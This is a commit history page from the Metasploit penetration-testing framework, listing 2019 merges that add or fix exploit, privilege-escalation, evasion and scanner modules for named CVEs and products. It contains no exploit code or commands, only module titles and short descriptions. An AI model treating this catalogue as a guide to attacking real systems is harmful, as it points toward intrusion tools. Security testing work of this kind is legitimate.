Compare commits

...

590 Commits

Author SHA1 Message Date
Metasploit bc70d76b6e automatic module_metadata_base.json update 2019-08-30 14:10:45 -05:00
William Vu 955ce087b5 Land #12244, cisco_ucs_scpuser exploit 2019-08-30 14:08:42 -05:00
William Vu 2ca7012ba9 Land #12243, cisco_ucs_rce exploit 2019-08-30 14:08:42 -05:00
William Vu e670e741a5 Land #12059, cisco_dcnm_download aux module 2019-08-30 14:08:41 -05:00
William Vu f338ad165a Land #12058, cisco_dcnm_upload_2019 exploit 2019-08-30 14:08:41 -05:00
William Vu 55b6aba7ad Land #12133, CVE-2019-1663 RV{110,215}W targets 2019-08-30 14:06:53 -05:00
Brent Cook faa5c7118a Land #12252, update .mailmap 2019-08-30 13:32:55 -05:00
Jeffrey Martin dfd6539cf2 Land #12253, Backport module deprecation by alias 2019-08-30 13:28:18 -05:00
William Vu 0b3b732fc6 Land #12223, module deprecation by alias 2019-08-30 12:16:27 -05:00
Metasploit 53367f5fc4 Bump version of framework to 4.17.78 2019-08-29 12:09:26 -05:00
Metasploit b242c34280 automatic module_metadata_base.json update 2019-08-23 10:34:26 -07:00
Shelby Pace ef4107b279 Land #12064, add Exim Local Privesc module 2019-08-23 10:26:54 -07:00
Metasploit 763ddf0589 automatic module_metadata_base.json update 2019-08-23 07:07:51 -07:00
Jacob Robles b7a570f436 Land #12219, Add Webmin password_change.cgi backdoor exploit 2019-08-23 06:54:53 -07:00
Metasploit afdbf62d50 Bump version of framework to 4.17.77 2019-08-22 10:05:38 -07:00
Metasploit 3c771feed3 automatic module_metadata_base.json update 2019-08-21 16:01:49 -07:00
OJ a7e85362dd Land #12186 - Add RDP Fingerprinting 2019-08-21 15:46:35 -07:00
Brent Cook b1e2e390cb Revert "Land #12181, add Juniper config parser tests"
This reverts commit 28e4e0e085.
2019-08-20 10:39:54 -05:00
Brent Cook ab1b974691 Revert "Land #12218, explicitly require factory_bot in spec helper"
This reverts commit d63befd573.
2019-08-20 10:39:41 -05:00
Brent Cook d63befd573 Land #12218, explicitly require factory_bot in spec helper 2019-08-20 05:56:18 -07:00
Brent Cook 85033ae33c Land #12168, fix HTTP client redirects with SSL enabled 2019-08-20 02:07:07 -07:00
Brent Cook 28e4e0e085 Land #12181, add Juniper config parser tests 2019-08-20 02:00:38 -07:00
Brent Cook aacbcb8f79 Land #12214, enable TLS1.0 support for RDP lib 2019-08-20 01:38:48 -07:00
Metasploit f49cfd15a9 automatic module_metadata_base.json update 2019-08-19 11:46:56 -07:00
Shelby Pace 040a3c6626 Land #12207, add LibreOffice/Logo file fmt exploit 2019-08-19 11:17:44 -07:00
Metasploit db3343682a automatic module_metadata_base.json update 2019-08-15 17:10:30 -07:00
William Vu fb8af009ee Land #12203, autofilter=false for a couple modules 2019-08-15 17:02:35 -07:00
Metasploit 4781e6e34c automatic module_metadata_base.json update 2019-08-15 16:56:15 -07:00
Brent Cook 3216ce31b5 Land #12205, prefer https always 2019-08-15 16:48:23 -07:00
Metasploit 332257af76 Bump version of framework to 4.17.76 2019-08-15 10:04:14 -07:00
Metasploit f57e81875a automatic module_metadata_base.json update 2019-08-15 08:39:37 -07:00
William Vu 96da332ff2 Land #12202, needs_cleanup for post modules 2019-08-15 08:31:32 -07:00
Adam Cammack 431f6162f5 Land #12188, fix module authors script's full_name 2019-08-13 17:39:06 -07:00
Jeffrey Martin 9e7a964377 Revert "Land #12032, add Xymon gather info module"
This reverts commit bb21979cc8.
2019-08-10 12:33:28 -05:00
Metasploit dd45189c57 Bump version of framework to 4.17.75 2019-08-08 10:02:14 -07:00
Shelby Pace bb21979cc8 Land #12032, add Xymon gather info module 2019-08-08 09:00:23 -07:00
William Vu 2cc2545f8e Land #12175, hadoop_unauth_exec NoMethodError fix 2019-08-07 20:47:11 -07:00
Brent Cook 1ca488c269 Land #12170, add 'Crash' action to Bluekeep scanner to send DoS payload 2019-08-07 17:43:04 -07:00
William Vu 90c62ca81c Land #12171, Msf::Exploit::Remote::RDP mixin 2019-08-07 15:14:22 -07:00
Jeffrey Martin 65430010eb Revert "Land #12158, needs_cleanup for on_new_session"
This reverts commit 52a135843e.
2019-08-02 15:39:19 -05:00
William Vu 52a135843e Land #12158, needs_cleanup for on_new_session 2019-08-02 13:03:00 -07:00
William Vu 385aa72084 Land #12152, EOFError fix for BlueKeep scanner 2019-08-02 09:26:07 -07:00
Jacob Robles 4905ef6f4b Land #12155, Fix printed CVE number 2019-08-01 16:04:20 -07:00
Jacob Robles 1355ffbb5d Land #11653, Apache Tika CVE-2018-1335 RCE 2019-08-01 15:49:38 -07:00
Jeffrey Martin 284d44910b Revert "Land #12130, Add evasion module applocker_evasion_msbuild"
This reverts commit e9b20c7140.
2019-08-01 16:56:26 -05:00
Metasploit 6b10f117f6 Bump version of framework to 4.17.74 2019-08-01 14:53:18 -07:00
Wei Chen e9b20c7140 Land #12130, Add evasion module applocker_evasion_msbuild 2019-08-01 09:25:22 -07:00
Jeffrey Martin 2e085b7b8d Land #12126, Implement "set PAYLOAD" by index 2019-07-31 15:11:44 -05:00
Brent Cook 3d7446f6ee Land #12148, lock bcrypt to arm compatibe version 2019-07-30 15:11:43 -07:00
h00die 68404b98e2 Land #12135 move docs to right locations 2019-07-29 09:19:28 -07:00
Metasploit a194ac6c63 automatic module_metadata_base.json update 2019-07-28 21:22:57 -07:00
Brent Cook effd76e443 Land #12119, Add OS X post module to manage Sonic Pi 2019-07-28 21:14:51 -07:00
Metasploit 9e246dee65 automatic module_metadata_base.json update 2019-07-28 20:10:59 -07:00
sinn3r 6a16431f9e Land #12131, Cast to_s in command_shell.rb
Cast to_s - Fix #11725
2019-07-28 19:58:24 -07:00
Wei Chen a989860937 Land #12132, Catch EOFError in alphastor_devicemanager_exec.rb
Fix #12061
2019-07-28 19:56:56 -07:00
Wei Chen d94ee275e1 Land #12134, Fix typo in payload_inject 2019-07-28 19:54:20 -07:00
Wei Chen 8cdef4df7a Land #12137, Update setting new .exe of Sophos AV 2019-07-28 19:51:41 -07:00
Wei Chen 20d1fa605f Land #12140, correct output printing bug from smb_enumshares 2019-07-28 19:49:06 -07:00
Wei Chen fa58b44509 Land #12107, Add module Redis Unauthenticated Code Execution 2019-07-28 19:42:19 -07:00
asoto-r7 e263d89c87 Land #12124, Add HttpRawHeaders (file) advanced option to HttpClient 2019-07-26 09:39:30 -07:00
Metasploit 9a7ff11efd Bump version of framework to 4.17.73 2019-07-25 10:02:36 -07:00
Metasploit 434e5ec4fc automatic module_metadata_base.json update 2019-07-25 07:31:54 -07:00
Wei Chen 1caa628777 Land #11205, Add support for Linux and pubprn.vbs to web_delivery 2019-07-25 07:18:00 -07:00
Jeffrey Martin 7029f6875b Revert "Add evasion module applocker_evasion_install_util"
This reverts commit b36942575a.
2019-07-24 10:49:55 -05:00
Metasploit 9a0a53bb71 automatic module_metadata_base.json update 2019-07-23 11:40:31 -07:00
Wei Chen b36942575a Land #11795, Add evasion module applocker_evasion_install_util 2019-07-23 11:32:40 -07:00
Metasploit e7dddd615c automatic module_metadata_base.json update 2019-07-23 10:31:38 -07:00
Wei Chen eb17db7be3 Land #12010, Add exploit module for wp-database-backup Wordpress plugin 2019-07-23 10:23:23 -07:00
Metasploit 62458d95b8 automatic module_metadata_base.json update 2019-07-23 09:07:11 -07:00
Wei Chen 378cf0ea2c Land #12116, cisco docs and bug fixes 2019-07-23 08:51:40 -07:00
h00die fc94f86e48 land #11990 windows tomcat cmdlinearguments 2019-07-23 10:25:12 -05:00
William Vu 8f1b325f37 Land #12121, rex-text update to 0.2.22 for XOR 2019-07-23 08:20:04 -07:00
Metasploit 97e425cc12 automatic module_metadata_base.json update 2019-07-23 00:26:02 -07:00
William Vu 2559917aa7 Land #12033, xor_context hostname-keyed encoder 2019-07-23 00:18:04 -07:00
Metasploit 7b3afe8d74 automatic module_metadata_base.json update 2019-07-22 16:20:01 -07:00
asoto-r7 466a4a7407 Land #12095, Ahsay backup v7.x - v8.1.1.50 file upload 2019-07-22 16:20:01 -07:00
asoto-r7 cd6d3c59b6 Land #12108, Prefer Rex::Text.dehex over hex_to_raw in msfvenom 2019-07-22 18:10:04 -05:00
Metasploit 0539997949 automatic module_metadata_base.json update 2019-07-22 13:28:18 -07:00
Shelby Pace 158c011af0 Land #12084, Add Schneider Encoder Exploit 2019-07-22 13:28:18 -07:00
Metasploit ee5cdd6d00 Bump version of framework to 4.17.72 2019-07-18 10:02:12 -07:00
Brent Cook 8b483747c5 Land #12023, repeat search by default 2019-07-16 13:58:05 -05:00
Brent Cook 176f863e45 Land #11941, add support for module aliases 2019-07-16 13:58:05 -05:00
William Vu f8c4b691f7 Land #11880, zero-index show command table 2019-07-16 13:51:24 -05:00
Jeffrey Martin 7ee156ddc8 Land #11819, Implement module use by previous search index 2019-07-16 13:47:24 -05:00
Brent Cook 50b66f5fac Land #11724, Improve 'use' command to automatically search and fuzzy-match if possible 2019-07-16 13:46:02 -05:00
William Vu 81c474e675 Land #11652, search -u to use first search result 2019-07-16 13:45:03 -05:00
Metasploit 3b7808e4ce automatic module_metadata_base.json update 2019-07-15 09:42:25 -07:00
Wei Chen 5786ad926c Land #12011, Add module for cve-2018-8453 2019-07-15 09:34:26 -07:00
Metasploit 169021ecc7 automatic module_metadata_base.json update 2019-07-15 07:53:59 -07:00
Jacob Robles 817dfd8892 Land #12070, Add module for CVE-2019-0841 2019-07-15 07:39:28 -07:00
Metasploit 654616b37a automatic module_metadata_base.json update 2019-07-12 18:41:31 -07:00
William Vu ace0022eb0 Land #12086, joomla_registration_privesc check fix 2019-07-12 18:33:19 -07:00
Adam Cammack e6e56f619e Land #12087, Use shell for passthrough commands 2019-07-12 12:05:54 -07:00
William Vu cb6400e270 Land #12031, Msf::Exploit::Remote::Tcp#shutdown 2019-07-12 10:36:12 -07:00
Metasploit 33e5446ec8 automatic module_metadata_base.json update 2019-07-12 07:47:57 -07:00
Jacob Robles f151d03c7a Land #12062, Add Laravel PHP RCE CVE-2018-15133 2019-07-12 07:34:07 -07:00
Metasploit cda612325c automatic module_metadata_base.json update 2019-07-11 13:37:24 -07:00
asoto-r7 bf02a4caee Land #12041, Add Xymon useradm Command Execution module 2019-07-11 13:22:45 -07:00
Jeffrey Martin 6d62bdae9f Land #12085, Fix is_payload_compatible? for nil payloads 2019-07-11 12:38:02 -07:00
Jeffrey Martin 088c3d404c Land 12079, No effing idea 2019-07-11 13:49:36 -05:00
Metasploit 842a4484b5 Bump version of framework to 4.17.71 2019-07-11 10:01:54 -07:00
William Vu 1ffb60ec48 Land #12080, system vs. popen for unknown_command 2019-07-11 02:17:01 -07:00
Metasploit 9db2744bef automatic module_metadata_base.json update 2019-07-10 16:05:57 -07:00
Metasploit 15376e9c9c automatic module_metadata_base.json update 2019-07-10 09:31:57 -07:00
William Vu 26eefd3c27 Land #12074, missing split fix for #12072 2019-07-10 09:22:32 -07:00
Metasploit b152e8753e automatic module_metadata_base.json update 2019-07-10 08:57:17 -07:00
William Vu 55026ba379 Land #12072, cmd_psh_payload arch string fixes 2019-07-10 08:40:43 -07:00
Metasploit 281d696211 automatic module_metadata_base.json update 2019-07-09 17:55:21 -07:00
h00die 6aab66e2fd Land #12024, add gatherproof to ssh_login modules 2019-07-09 17:39:10 -07:00
Metasploit ab940c6af7 automatic module_metadata_base.json update 2019-07-07 20:41:25 -07:00
Brent Cook d8535fdece Land #12045, lock rex-socket to 0.1.17 2019-07-07 20:41:25 -07:00
William Vu e0db0618cb Land #12044, snmp_enum SNMP::NoSuchInstance fix 2019-07-07 20:41:25 -07:00
Metasploit 4b128fd7dc Bump version of framework to 4.17.70 2019-07-04 10:07:44 -07:00
Metasploit 5a7fc51ce7 automatic module_metadata_base.json update 2019-07-02 11:01:16 -07:00
William Vu 43b66e9c1b Land #12042, bypassuac_silentcleanup author fix 2019-07-02 10:45:56 -07:00
Metasploit 92cc5ca02e automatic module_metadata_base.json update 2019-07-01 14:40:49 -07:00
Metasploit 0f2df15a88 automatic module_metadata_base.json update 2019-07-01 14:18:34 -07:00
asoto-r7 929c672760 Land #12030, CVE-2019-12181: Serv-U FTP Server prepareinstallation privesc 2019-07-01 14:03:32 -07:00
Metasploit b20af73693 automatic module_metadata_base.json update 2019-06-29 03:53:58 -07:00
Brent Cook f6f471df5e Land #11726, add exploit for CVE-2019-8513, macOS TimeMachine cmd injection 2019-06-29 03:38:51 -07:00
Metasploit b90deb6783 automatic module_metadata_base.json update 2019-06-29 01:47:48 -07:00
Brent Cook 7450af0c28 Land #11968, only enable UDP stagers for compatible payloads 2019-06-29 01:36:16 -07:00
Brent Cook 14c38b2144 Land #11923, Set sockaddr_len with x64 shell_find_port payload 2019-06-29 01:31:56 -07:00
Brent Cook 3d5d8bba46 Land #11976, use special-case path for shell command with Android meterpreter 2019-06-29 01:25:34 -07:00
Metasploit 51a31669c0 automatic module_metadata_base.json update 2019-06-28 10:42:16 -07:00
William Vu cbaa872342 Land #12007, true 0s timeout in send_request_* 2019-06-28 10:34:35 -07:00
William Vu 65514d9598 Land #12014, nil bug fix for HttpServer#get_uri 2019-06-28 10:34:35 -07:00
Metasploit e72d5b209f automatic module_metadata_base.json update 2019-06-28 10:21:39 -07:00
William Vu 27823604aa Land #11952, Supra Smart Cloud TV RFI module 2019-06-28 10:14:05 -07:00
Metasploit 3cfb1fb57c automatic module_metadata_base.json update 2019-06-28 09:44:19 -07:00
asoto-r7 b33630fb92 Land #12025, Fix sshexec hanging on exec! and blocking close 2019-06-28 09:30:24 -07:00
Metasploit 03cf958497 automatic module_metadata_base.json update 2019-06-28 08:47:17 -07:00
William Vu 6eac5239a2 Land #12022, LoginScanner/PASSWORD_SPRAY fix 2019-06-28 10:45:17 -05:00
Metasploit 200cc67256 Bump version of framework to 4.17.69 2019-06-27 11:39:44 -07:00
Metasploit 365fd9894b automatic module_metadata_base.json update 2019-06-27 10:04:11 -07:00
William Vu 8357082cb9 Land #11997, SilentCleanup UAC bypass 2019-06-27 09:55:33 -07:00
Metasploit e94d78b18a automatic module_metadata_base.json update 2019-06-27 09:47:30 -07:00
Metasploit f577ec36c3 automatic module_metadata_base.json update 2019-06-26 23:58:34 -07:00
William Vu 61211f3c47 Land #12019, typo fix for bypassuac_sluihijack 2019-06-26 23:49:36 -07:00
Metasploit fdfe01c0d3 automatic module_metadata_base.json update 2019-06-26 10:37:10 -07:00
William Vu e55ed68882 Land #12017, xdebug_unauth_exec nil fix 2019-06-26 10:28:46 -07:00
Metasploit daabe93f5b automatic module_metadata_base.json update 2019-06-26 09:25:25 -07:00
William Vu 482853757f Land #12018, Pen Test Partners reference for RV130 2019-06-26 09:16:14 -07:00
William Vu e01b046efb Land #12015, dcerpc_getarch documentation fix 2019-06-26 00:46:14 -07:00
Metasploit 4d1b1152f2 automatic module_metadata_base.json update 2019-06-25 14:34:23 -07:00
Wei Chen b53f02efed Land #11987, Add Nagios XI 5.5.6 magpie_debug Root Exploit 2019-06-25 14:20:15 -07:00
asoto-r7 83b8f3b946 Land #12013, Make SRVHOST the callback address in confluence_widget_connector 2019-06-25 14:08:45 -07:00
Metasploit 493fb6db37 Bump version of framework to 4.17.68 2019-06-25 13:06:18 -07:00
Metasploit b052d06249 Bump version of framework to 4.17.67 2019-06-25 12:55:24 -07:00
Metasploit 655e880bbf automatic module_metadata_base.json update 2019-06-24 23:07:18 -07:00
William Vu 7c29adfd2b Land #12008, struts2_content_type_ognl 302 fix 2019-06-24 22:50:56 -07:00
Metasploit 9d2f72806c automatic module_metadata_base.json update 2019-06-22 00:53:40 -07:00
William Vu ea8b7976bc Land #11996, ZDI reference for rails_double_tap 2019-06-22 00:37:13 -07:00
Metasploit 8e5a35e4f4 Bump version of framework to 4.17.66 2019-06-20 10:03:50 -07:00
Metasploit 05a1674062 automatic module_metadata_base.json update 2019-06-19 12:54:05 -07:00
Jeffrey Martin 35dbd645d2 Land #11993, Explicitly require 'rc4' in the BlueKeep scanner. 2019-06-19 12:44:18 -07:00
Metasploit 9b80776945 automatic module_metadata_base.json update 2019-06-19 09:10:27 -07:00
Wei Chen 89a54d4d4b Land #11960, Add LPE for Cisco Prime Infrastructure's runrshell exe 2019-06-19 08:52:32 -07:00
Wei Chen 7a74bbba01 Land #11956 - Add Cisco Prime Infrastructure Health Monitor Tar RCE 2019-06-19 08:50:44 -07:00
Metasploit 3f6eee122d automatic module_metadata_base.json update 2019-06-19 06:59:54 -07:00
Shelby Pace 88cef15e27 Land #11983, add Webmin package update rce 2019-06-19 06:38:39 -07:00
Jacob Robles 25d3c1e4c3 Land #11971, zip extraction from modbus pcap 2019-06-18 14:30:11 -07:00
Chris Higgins c407e34e20 Land #11904, fix meterpreter screenshot dll upload 2019-06-17 21:39:05 -07:00
Metasploit b6704353bc automatic module_metadata_base.json update 2019-06-16 12:01:44 -07:00
William Vu 2be4131c85 Land #11932, TLS and doc'd packets for BlueKeep 2019-06-16 12:01:44 -07:00
William Vu b020d65d62 Land #11979, missing bind_tcp_rc4 tests 2019-06-16 12:01:44 -07:00
Adam Cammack b306746edf Land #11965, Add secure Meterpreter command
The command will force or renegotiate TLV encryption on the for the
current session.
2019-06-13 12:24:35 -07:00
Metasploit 7ce00e1c50 automatic module_metadata_base.json update 2019-06-13 12:14:37 -07:00
bwatters-r7 b1d04d2934 Land #11958, abrt_raceabrt_priv_esc: Fix abrt package version check
Merge branch 'land-11958' into upstream-master
2019-06-13 12:05:46 -07:00
Metasploit 45d4a7f082 automatic module_metadata_base.json update 2019-06-13 10:33:00 -07:00
bwatters-r7 e8802f617b Land #11944, Implement bind TCP with RC4 decryption for x64
Merge branch 'land-11944' into upstream-master
2019-06-13 10:11:55 -07:00
Metasploit d494415f1e Bump version of framework to 4.17.65 2019-06-13 10:04:00 -07:00
William Vu 71bbd9d0ec Land #11974, full path in pgrep -lf output 2019-06-13 08:51:21 -07:00
William Vu 6b52d0f92d Land #11963, kill command help correction 2019-06-12 09:03:24 -07:00
Metasploit 75936a0b62 automatic module_metadata_base.json update 2019-06-11 11:16:03 -07:00
Metasploit 3feee2ff97 automatic module_metadata_base.json update 2019-06-11 07:52:10 -07:00
Matthew Kienow 62c5a6220a Land #11970, Correct Websphere module CVE ref 2019-06-11 07:34:35 -07:00
Wei Chen e2b8014aff Land #11951, Add meterpreter > screenshare command 2019-06-10 11:27:39 -07:00
Metasploit 5a49d1b23c automatic module_metadata_base.json update 2019-06-08 11:52:39 -07:00
William Vu f01df440c2 Land #11957, CVE references for TrueOnline modules 2019-06-08 11:34:54 -07:00
Brent Cook 1d9f751bd2 Land #11798, Add Extended Passive Mode for FTP client
Merge remote-tracking branch 'upstream/pr/11798' into upstream-master
2019-06-07 13:12:17 -07:00
Metasploit 2caf3a1225 automatic module_metadata_base.json update 2019-06-07 13:07:21 -07:00
Brent Cook f187cb7de0 Land #11340, make SSH agent and other options configurable 2019-06-07 12:51:49 -07:00
Metasploit d2f09d2537 Bump version of framework to 4.17.64 2019-06-07 08:59:47 -07:00
William Vu 1e5fe51f83 Land #11954, Retina XML importer fixes and updates 2019-06-06 22:43:25 -07:00
Metasploit 767a3dd150 Bump version of framework to 4.17.63 2019-06-06 10:03:43 -07:00
Metasploit c3b75f3884 automatic module_metadata_base.json update 2019-06-05 13:33:10 -07:00
Jacob Robles 0a448a2c23 Land #11940, Add files to test that may not be open 2019-06-05 13:14:00 -07:00
Adam Cammack c52bc3ba2e Land #11949, Fix wordpress_content_injection CVE 2019-06-05 12:59:47 -07:00
Metasploit 305e625981 automatic module_metadata_base.json update 2019-06-04 11:00:46 -07:00
Jacob Robles 3931784908 Land #11895, CVE-2018-20434 LibreNMS cmd injection exploit 2019-06-04 10:42:45 -07:00
Metasploit 0cf3dd3eff automatic module_metadata_base.json update 2019-06-04 10:28:28 -07:00
Jacob Robles b6bc3363c8 Land #11841, IBM WAS Network Deployment RCE CVE-2019-4279 2019-06-04 10:08:18 -07:00
bwatters-r7 fb4a26878d Land #11945, Make auto_cl more selective based on HTTP method
Merge branch 'land-11945' into upstream-master
2019-06-04 07:07:30 -07:00
bwatters-r7 b6f2000996 Land #11823, Handle invalid payloads more clearly
Merge branch 'land-11823' into upstream-master
2019-06-04 06:38:44 -07:00
bwatters-r7 3cbcec4f81 Land #11938, fix cmd_exec tests on python/windows
Merge branch 'land-11938' into upstream-master
2019-06-04 06:05:25 -07:00
Metasploit 014b20eb57 automatic module_metadata_base.json update 2019-06-03 23:15:34 -07:00
Wei Chen 228cb1d880 Land #11924, Update adobe_flash_opaque_background_uaf for Win 10 2019-06-03 22:57:13 -07:00
Metasploit dbcf9d158b automatic module_metadata_base.json update 2019-06-03 19:04:47 -07:00
Wei Chen b7dd3949fa Land #11937, make content-length header optional 2019-06-03 19:04:46 -07:00
bwatters-r7 982f999390 Land #11918, replace trivial usage of expand_path with getenv
Merge branch 'land-11918' into upstream-master
2019-06-03 21:02:32 -05:00
sinn3r 34d9b2a1e7 Land #11862, wordlists for wordpress plugin/theme directories
Add wordlists for enumerating WordPress plugin/theme directories
2019-06-02 22:56:38 -07:00
Metasploit 9a5162aebb automatic module_metadata_base.json update 2019-06-02 12:10:02 -07:00
Brent Cook 3a00eaad31 Land #11936, rename a few module docs 2019-06-02 12:10:02 -07:00
Tim W 8096efcf62 Land #11933, add default VID and cmd/unix support to post/multi/manage/play_youtube 2019-06-02 12:10:02 -07:00
Brent Cook abaf513c84 Land #11913, remove older Ruby's from test matrix 2019-06-02 12:10:01 -07:00
Brent Cook 1dd19a6a93 Land #11477, add Exploit for CVE-2018-4233 and async_wait for iOS 10 to 11.2 2019-06-02 14:07:26 -05:00
Metasploit c51ab11388 automatic module_metadata_base.json update 2019-06-01 10:34:39 -07:00
Brent Cook 2a132dee40 Land #11902, add missing cmd/unix/reverse_bash_udp test 2019-06-01 10:25:24 -07:00
Brent Cook 63bc5aec8f Land #11906, fix osx 10.7 hash IDing and JTR IDs 2019-06-01 10:25:23 -07:00
William Vu f9b104e04a Land #11911, Java payload fixes 2019-06-01 12:20:29 -05:00
Chris Higgins b39fc9e831 Land #11912, Bigdecimal boot 2019-05-31 12:08:02 -07:00
Brent Cook 511c48c6fb Land #11892, Fix parse IPv6 address in reverse_http 2019-05-31 11:17:41 -07:00
Metasploit 5f3168ed59 automatic module_metadata_base.json update 2019-05-31 08:28:25 -07:00
Brent Cook c749106b93 Land #11838, add keyboard and mouse input controls on Windows/MacOS 2019-05-31 10:25:34 -05:00
Metasploit 2e3e1fab73 Bump version of framework to 4.17.62 2019-05-30 10:03:04 -07:00
Metasploit efdb267413 Bump version of framework to 4.17.61 2019-05-30 06:35:06 -07:00
Metasploit b81f1549b7 automatic module_metadata_base.json update 2019-05-29 22:26:44 -07:00
William Vu 775027699e Land #11900, normalize_uri style fix 2019-05-29 22:18:02 -07:00
Metasploit 6e62470bb8 automatic module_metadata_base.json update 2019-05-29 22:02:31 -07:00
Brent Cook 85e6375f5f Land #11865, expand utility for allegro_rompager_auth_bypass 2019-05-29 21:42:42 -07:00
Brent Cook f57252fa74 Land #11898, only require pdf-reader if used 2019-05-29 21:37:32 -07:00
Metasploit ccc9e4ce01 automatic module_metadata_base.json update 2019-05-29 11:14:12 -07:00
Jacob Robles 974e5d5750 Land #11894, Note deprecated DIAL protocol in chromecast_youtube 2019-05-29 10:58:17 -07:00
Metasploit 977566be64 automatic module_metadata_base.json update 2019-05-28 09:49:45 -07:00
Jacob Robles 320fc5d60a Land #11882, oracle_login verbose message 2019-05-28 09:41:18 -07:00
Metasploit 2c9ba1517a automatic module_metadata_base.json update 2019-05-28 09:32:50 -07:00
bwatters-r7 fa2f471194 Land #11797, Added to code to remove payload once run.
Merge branch 'land-11797' into upstream-master
2019-05-28 09:15:25 -07:00
Metasploit 6ffbe183e2 automatic module_metadata_base.json update 2019-05-25 12:12:41 -07:00
William Vu 6ae01a9323 Land #11885, linux/armle/shell_bind_tcp ARGV0 fix 2019-05-25 11:56:47 -07:00
Metasploit eada7f9493 automatic module_metadata_base.json update 2019-05-24 16:55:35 -07:00
Brent Cook 23ef2644f7 Land #11884, Fix rdp_scanner and update CVE-2019-0708 docs 2019-05-24 16:38:34 -07:00
Metasploit 341e92501c Bump version of framework to 4.17.60 2019-05-24 14:41:44 -07:00
asoto-r7 8d6cb56295 Land #11883, CVE-2019-0708 docs change to .md extension 2019-05-24 14:39:02 -07:00
Metasploit 9ac228d8e1 automatic module_metadata_base.json update 2019-05-24 14:14:31 -07:00
asoto-r7 1b2a024b03 Land #11869, auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-24 14:05:51 -07:00
Metasploit f859765b6e automatic module_metadata_base.json update 2019-05-24 09:47:34 -07:00
Jacob Robles e8158ddc24 Land #11846, OATS Console War Deployment 2019-05-24 09:31:30 -07:00
Wei Chen 4c7f407eaf Land #11811, add new target in doc for bpf_sign_extension_priv_esc 2019-05-24 08:52:54 -07:00
Metasploit 8efec8544f automatic module_metadata_base.json update 2019-05-24 06:47:02 -07:00
Jacob Robles ab7f569a11 Land #11822, Add CVE-2019-2557 OATS Directory Traversal 2019-05-24 06:47:02 -07:00
William Vu 08ad156e31 Land #11857, cmd/unix/reverse_bash_udp payload 2019-05-24 06:47:02 -07:00
William Vu 467f4a7865 Land #11794, postgres_payload Postgres 8.2+ update 2019-05-24 06:47:02 -07:00
Jeffrey Martin 81c4a62d8d Land #11879, Add multi-host tab completion to analyze command and fix range truncation bug 2019-05-24 08:44:59 -05:00
Metasploit 1e4eaf3e02 automatic module_metadata_base.json update 2019-05-23 13:17:38 -07:00
Jeffrey Martin fd23031067 Land #11878, Add tab completion and MS17-010 support to analyze command 2019-05-23 13:07:51 -07:00
Metasploit 3259c55655 automatic module_metadata_base.json update 2019-05-23 12:18:15 -07:00
Brent Cook 659275f647 Land #11873, allow calling methods across related modules 2019-05-23 12:00:59 -07:00
Metasploit 1b446822b0 Bump version of framework to 4.17.59 2019-05-23 10:03:09 -07:00
Metasploit d097f49d7c automatic module_metadata_base.json update 2019-05-23 08:12:19 -07:00
Jacob Robles 966f0782c1 Land #11843, Update MSB references 2019-05-23 09:43:32 -05:00
bwatters-r7 05a769eaaf Land #11863, Bump mettle 0.5.13
Merge branch 'land-11863' into upstream-master
2019-05-23 09:25:42 -05:00
Metasploit 5c38c3af56 automatic module_metadata_base.json update 2019-05-23 05:00:07 -07:00
Jacob Robles b458521bc1 Land #11864, Add RCE vector to Jenkins ACL bypass 2019-05-23 04:43:07 -07:00
Metasploit c8e8c8d248 automatic module_metadata_base.json update 2019-05-22 18:10:47 -07:00
William Vu 4f391304a3 Land #11860, pipe_auditor backslash normalization 2019-05-22 17:53:07 -07:00
Metasploit d3be0d687b automatic module_metadata_base.json update 2019-05-22 12:50:27 -07:00
William Vu fc9a731b87 Land #11868, iis_webdav_upload_asp disclosure date 2019-05-22 12:33:24 -07:00
William Vu 653e1f5f32 Land #11861, WebLogic AsyncResponseService updates 2019-05-22 12:33:24 -07:00
Metasploit f43b85202c automatic module_metadata_base.json update 2019-05-22 12:24:02 -07:00
William Vu 245a02f7a0 Land #11847, jenkins_gather fixes 2019-05-22 11:43:43 -07:00
Metasploit 8d90286154 automatic module_metadata_base.json update 2019-05-21 05:33:52 -07:00
Jacob Robles ec565231e3 Land #11661, Onion Omega2 login scanner 2019-05-21 05:17:06 -07:00
Metasploit 6e61ba4cd5 automatic module_metadata_base.json update 2019-05-20 13:33:43 -07:00
Shelby Pace 2d4ab992ef Land #11805, add bsd targets to sshexec 2019-05-20 13:33:43 -07:00
Brendan Coles 39a0e0c226 Land #11808, add FreeBSD rtld privesc 2019-05-20 15:29:53 -05:00
Metasploit c300018ab8 automatic module_metadata_base.json update 2019-05-20 11:23:54 -07:00
bwatters-r7 76ee5556b8 Land #11833, moodle_cmd_exec nil check
Merge branch 'land-11833' into upstream-master
2019-05-20 11:10:19 -07:00
Wei Chen af7b60a702 Land #11818, Add CVE-2019-8565 OSX Feedback Assistant local root exploit 2019-05-20 10:53:56 -07:00
William Vu 32d0c9c697 Land #11859, struts2_rest_xstream style fix 2019-05-20 10:42:49 -07:00
bwatters-r7 2adb6c18fa Land #11834, Fix ams_hndlrsvc
Merge branch 'land-11834' into upstream-master
2019-05-20 10:35:37 -07:00
Metasploit 9aa234f0d1 automatic module_metadata_base.json update 2019-05-17 16:33:49 -07:00
Wei Chen 8c5fef6081 Land #11828, Add CVE-2017-18357: Shopware Object Instantiation 2019-05-17 16:25:07 -07:00
Metasploit 6d7e1be3d4 automatic module_metadata_base.json update 2019-05-17 03:34:29 -07:00
Brent Cook 41d376a8a0 Land #11374, add super-small version of bind tcp random payload 2019-05-17 03:16:27 -07:00
Metasploit 9bd4597364 automatic module_metadata_base.json update 2019-05-16 11:36:27 -07:00
William Vu 0df0003ca5 Land #11842, Powershell::wrap_double_quotes fix 2019-05-16 11:28:17 -07:00
Metasploit 586f57c1af Bump version of framework to 4.17.58 2019-05-16 10:03:24 -07:00
Metasploit 5e1ae6282c automatic module_metadata_base.json update 2019-05-16 09:49:49 -07:00
Shelby Pace c517a43683 Land #11802, add GetSimple CMS RCE module 2019-05-16 09:33:27 -07:00
Metasploit 7cc31b55fc automatic module_metadata_base.json update 2019-05-14 16:09:32 -07:00
Jeffrey Martin 9d94d63187 Land #11548, unifi backup downloader 2019-05-14 15:48:43 -07:00
Jeffrey Martin aa90ce9f48 Land #11820, Display NOCVE reason cleanly in info command output 2019-05-14 08:39:20 -07:00
Metasploit 5d28c264d1 automatic module_metadata_base.json update 2019-05-10 14:06:23 -07:00
asoto-r7 dbc07b6f62 Land #11821, correct payload size output and exception handling 2019-05-09 13:38:49 -07:00
Metasploit a34f03d788 Bump version of framework to 4.17.57 2019-05-09 10:02:54 -07:00
